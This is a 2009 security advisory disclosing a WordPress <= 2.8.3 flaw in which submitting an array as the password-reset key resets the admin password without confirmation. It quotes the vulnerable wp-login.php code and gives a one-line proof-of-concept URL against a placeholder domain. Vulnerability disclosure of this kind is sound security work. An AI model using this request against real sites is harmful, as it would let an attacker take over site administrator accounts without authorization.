=============================================<br>- Release date: August 10th, 2009<br>- Discovered by: Laurent Gaffié<br>- Severity: Medium<br>=============================================<br><br>I. VULNERABILITY<br>-------------------------<br>
WordPress <= 2.8.3 Remote admin reset password<br><br>II. BACKGROUND<br>-------------------------<br>WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. <br>WordPress is both free and priceless at the same time.<br>
More simply, WordPress is what you use when you want to work with your blogging software, not fight it.<br><br>III. DESCRIPTION<br>-------------------------<br>The way Wordpress handle a password reset looks like this:<br>
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;<br>Wordpress send you a reset confirmation like that via email:<br><br>"<br>Someone has asked to reset the password for the following site and username.<br>
<a href="http://DOMAIN_NAME.TLD/wordpress">http://DOMAIN_NAME.TLD/wordpress</a><br>Username: admin<br>To reset your password visit the following address, otherwise just ignore this email and nothing will happen<br><br><a href="http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag">http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag</a><br>
"<br><br>You click on the link, and then Wordpress reset your admin password, and sends you over another email with your new credentials.<br><br>Let's see how it works:<br><br><br>wp-login.php:<br>...[snip]....<br>
line 186:<br>function reset_password($key) {<br> global $wpdb;<br><br> $key = preg_replace('/[^a-z0-9]/i', '', $key);<br><br> if ( empty( $key ) )<br> return new WP_Error('invalid_key', __('Invalid key'));<br>
<br> $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));<br> if ( empty( $user ) )<br> return new WP_Error('invalid_key', __('Invalid key'));<br>
...[snip]....<br>line 276:<br>$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';<br>$errors = new WP_Error();<br><br>if ( isset($_GET['key']) )<br> $action = 'resetpass';<br>
<br>// validate action so as to default to the login screen<br>if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )<br>
$action = 'login';<br>...[snip]....<br><br>line 370:<br><br>break;<br><br>case 'resetpass' :<br>case 'rp' :<br> $errors = reset_password($_GET['key']);<br><br> if ( ! is_wp_error($errors) ) {<br>
wp_redirect('wp-login.php?checkemail=newpass');<br> exit();<br> }<br><br> wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');<br> exit();<br><br>break;<br>...[snip ]...<br>
<br>You can abuse the password reset function, and bypass the first step and then reset the admin password by submiting an array to the $key variable.<br> <br><br>IV. PROOF OF CONCEPT<br>-------------------------<br>A web browser is sufficiant to reproduce this Proof of concept:<br>
<a href="http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=">http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=</a><br>The password will be reset without any confirmation.<br> <br>V. BUSINESS IMPACT<br>-------------------------<br>
An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3<br><br>VI. SYSTEMS AFFECTED<br>-------------------------<br>All<br><br>VII. SOLUTION<br>-------------------------<br>
No patch aviable for the moment.<br> <br>VIII. REFERENCES<br>-------------------------<br><a href="http://www.wordpress.org">http://www.wordpress.org</a><br><br>IX. CREDITS<br>-------------------------<br>This vulnerability has been discovered by Laurent Gaffié<br>
Laurent.gaffie{remove-this}(at)<a href="http://gmail.com">gmail.com</a><br>I'd like to shoot some greetz to <a href="http://securityreason.com">securityreason.com</a> for them great research on PHP, as for this under-estimated vulnerability discovered by Maksymilian Arciemowicz :<br>
<a href="http://securityreason.com/achievement_securityalert/38">http://securityreason.com/achievement_securityalert/38</a><br><br>X. REVISION HISTORY<br>-------------------------<br>August 10th, 2009: Initial release<br>
<br>XI. LEGAL NOTICES<br>-------------------------<br>The information contained within this advisory is supplied "as-is"<br>with no warranties or guarantees of fitness of use or otherwise.<br>I accept no responsibility for any damage caused by the use or <br>
misuse of this information.<br>